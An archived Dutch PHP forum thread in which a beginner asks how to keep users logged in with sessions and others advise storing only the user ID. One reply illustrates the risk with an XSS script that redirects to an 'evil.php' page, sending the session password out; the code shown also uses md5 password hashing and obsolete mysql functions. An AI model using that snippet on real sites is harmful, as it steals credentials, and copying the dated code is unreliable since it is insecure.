login  Naam:   Wachtwoord: 
Registreer je!
 Forum

SESSION maken

Offline SomaQan - 20/02/2007 14:03 (laatste wijziging 20/02/2007 19:38)
Avatar van SomaQanPHP beginner ik heb eindelijk me Loginsysteem werkend gemaakt

nu wil een SESSION maken zodat ik ingelogd blij als ik naar een andere pagina ga, maar de vraag is hoe kan ik dat in mij script verwerken ?

Mijn script
http://www.plaatscode.be/4292/

en wat ik beter gebruiken cookie of session ?




  1. <?php
  2. include('config.php');
  3.  
  4. if(isset($_POST['submit']))
  5.  
  6. {
  7.  
  8.  
  9. $query = mysql_query(" SELECT ID FROM lid WHERE username = '".mysql_real_escape_string($_POST['username'])."' AND password = '".md5($_POST['password'])."' AND naam = '".mysql_real_escape_string($_POST['naam'])."' ")or die(mysql_error());
  10.  
  11. if(mysql_num_rows($query) != 0)
  12.  
  13. {
  14.  
  15.  
  16. $_SESSION['id'] = 'id';
  17.  
  18. {
  19. header ("Location: index.php");
  20. }
  21.  
  22. echo "U Bent ingelogd <b>".$naam."</b>!<br />";
  23. die("Klik hier om verder te gaan");
  24. }
  25.  
  26. else
  27.  
  28. {
  29.  
  30. echo "Dit account bestaat niet !<br />";
  31. die("Klik <a href='javascript:history.go(-1)'>hier</a> om terug te gaan");
  32.  
  33. }
  34.  
  35. }
  36.  
  37. else
  38.  
  39. {
  40.  
  41. echo "
  42.  
  43. <form method='post' action=''>
  44. Gebruikernaam: <input type='text' name='username' /><br />
  45. Wachtwoord: <input type='password' name='password' /><br />
  46. Naam: <input type='text' name='naam' /><br />
  47. <input type='submit' name='submit' value='Inloggen' />
  48. </form>
  49. ";
  50.  
  51. }
  52.  
  53. ?>

17 antwoorden

Gesponsorde links
Offline delta_004 - 20/02/2007 14:07
Avatar van delta_004 Onbekend Dan is het tog geen Loginsysteem?
Offline Jesse2303 - 20/02/2007 14:08
Avatar van Jesse2303 Onbekend Maak een querry 
session_start();
bovenaan zetten en

  1. if(isset($_SESSION['naam'])){
  2. echo "ingelogd";
  3. } else {
  4. echo "U bent niet ingelogd";


dit is als voor te kijken of je ingelogd bent
Offline SomaQan - 20/02/2007 14:17 (laatste wijziging 20/02/2007 14:18)
Avatar van SomaQan PHP beginner Delta_004 hoezo ik heb toenet naar een paar loginsystemen gekeken en zij gebruikde SESSION of cookie

@jess2303 dat werkt niet
Offline delta_004 - 20/02/2007 14:21 (laatste wijziging 20/02/2007 14:26)
Avatar van delta_004 Onbekend Boven de klik hier ...... te gaan
Maak je een sessie (Alleen als je bent ingelogt)
En boven aan het script zet je if(isset($_SESSION['..']))
true = Ingelogt
false = Inlogform

Veiliger:
Sessie gebruikersnaam
Sessie wachtwoord

SELECT lid WHERE gebr='".$_SESSION['gen']."' AND pass='".$_SESSION['wachtwoord']."'

mysql num rows
true = ingelogt
false = form
---------------------------
Je kan beter sessies gebruiken, want cookies zijn zelf aantemaken waardoor het hacken veel makkelijker gaat
Offline Nanon - 20/02/2007 15:53
Avatar van Nanon PHP interesse Ik zou zo'n leuke checkbox erbij maken, zodat je zelf kan bepalen of de gebruiker ingelogd wilt blijven.
Offline Ibrahim - 20/02/2007 16:05
Avatar van Ibrahim PHP expert Ik zou eerlijk gezegd GEEN wachtwoord in een sessie zetten
Offline Thomas - 20/02/2007 16:42
Avatar van Thomas Moderator Is ook nergens voor nodig.
Offline bennieboy - 20/02/2007 16:43
Avatar van bennieboy HTML beginner hoe doe je dat dan nanon?
Offline SomaQan - 20/02/2007 17:21
Avatar van SomaQan PHP beginner oke maar hoe kan ik er voor zorgen dat als mensen een account aan maken en dan inloggen en als hun dan naar een andere pagina op de site zelf nog steeds ingelogd zijn want nu moetje telkens opnieuwe inloggen

Hoe kan je zo iets doen ?
Offline Rens - 20/02/2007 17:29 (laatste wijziging 20/02/2007 17:33)
Avatar van Rens Gouden medaille

Crew algemeen
PHP.net: session_start
:lamp:

Lees:
http://www.site...ies_in_PHP
Offline SomaQan - 20/02/2007 17:50
Avatar van SomaQan PHP beginner @Rens ik heb het gelezen en ik heb het volgend verwerkt in mij script

  1. <?php
  2. include('config.php');
  3.  
  4. if(isset($_POST['submit']))
  5.  
  6. {
  7.  
  8.  
  9. $query = mysql_query(" SELECT ID FROM lid WHERE username = '".mysql_real_escape_string($_POST['username'])."' AND password = '".md5($_POST['password'])."' AND naam = '".mysql_real_escape_string($_POST['naam'])."' ")or die(mysql_error());
  10.  
  11. if(mysql_num_rows($query) != 0)
  12.  
  13. {
  14. $_SESSION['ID'];
  15. $_SESSION['username'];
  16. $_SESSION['password'];
  17. $_SESSION['naam'];
  18. echo "U Bent ingelogd <b>".$naam."</b>!<br />";
  19. die("Klik hier om verder te gaan");
  20. }
  21.  
  22. else
  23.  
  24. {
  25.  
  26. echo "Dit account bestaat niet !<br />";
  27. die("Klik <a href='javascript:history.go(-1)'>hier</a> om terug te gaan");
  28.  
  29. }
  30.  
  31. }
  32.  
  33. else
  34.  
  35. {
  36.  
  37. echo "
  38.  
  39. <form method='post' action=''>
  40. Gebruikernaam: <input type='text' name='username' /><br />
  41. Wachtwoord: <input type='password' name='password' /><br />
  42. Naam: <input type='text' name='naam' /><br />
  43. <input type='submit' name='submit' value='Inloggen' />
  44. </form>
  45. ";
  46.  
  47. }
  48.  
  49. ?>


En ik heb het getest er is niks gebeurt maar ik vraag me af of het wel goed is zo ?
Offline lasdesigner - 20/02/2007 17:54
Avatar van lasdesigner PHP beginner
  1. <?php
  2. $_SESSION['ID'];
  3. $_SESSION['username'];
  4. $_SESSION['password'];
  5. $_SESSION['naam'];
  6.  
  7. $_SESSION['id'] = 'iets';
  8. $_SESSION['usersname'] = $_POST['username'];
  9. $_SESSION['password'] = $_POST['password'] //zou ik NIET doen
  10. $_SESSION['naam'] = $_POST['naam'];
  11. ?>


Iets in de sessie stoppen is wel handig !
Offline Rens - 20/02/2007 17:58
Avatar van Rens Gouden medaille

Crew algemeen
Die 3 laatste (username, password, naam) is onnodig.
Kan vanalles meegedaan worden.

Stel je hebt op het profiel geen beveiliging tegen javascript:
  1. <script type="text/javascript">
  2. window.alert("<?=$_SESSION['naam'];?>");
  3. </script>

invullen, en je krijgt de waarde van $_SESSION['naam'] al voor je...
  1. <script type="text/javascript">
  2. window.location="http://www.site.nl/evil.php?ww=<?=$_SESSION['password'];?>";
  3. </script>

En de pagina evil.php van site www.site.nl kan het wachtwoord in de database opslaan...
Offline SomaQan - 20/02/2007 18:01
Avatar van SomaQan PHP beginner moet ik door die Password geen hash er door heen halen ?
Offline Rens - 20/02/2007 18:02
Avatar van Rens Gouden medaille

Crew algemeen
Je moet het password gewoon niet in de sessie zetten...
Een gebruikersID alleen is al genoeg...
Offline SomaQan - 20/02/2007 18:08
Avatar van SomaQan PHP beginner oke wat kan ik het besten in een SESSION zetten

  1. $_SESSION['ID'] = 'iets';


Wat moet ik bij iets nou eigenlijk zetten ?
Offline Rens - 20/02/2007 18:19
Avatar van Rens Gouden medaille

Crew algemeen
Het gebruikersID.
Je tabel ziet er bijvoorbeeld zo uit:
  1. id INT(11) NOT NULL auto_increment
  2. username VARCHAR(255) NOT NULL
  3. password VARCHAR(255) NOT NULL
  4. PRIMARY KEY(id)

En misschien nog meer, maar dat maakt niet uit.
En dan zet je id in de sessie.
A.d.h.v dat id kun je dan alles van die gebruiker ophalen, zijn naam, zijn wachtwoord, email adres...
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.248s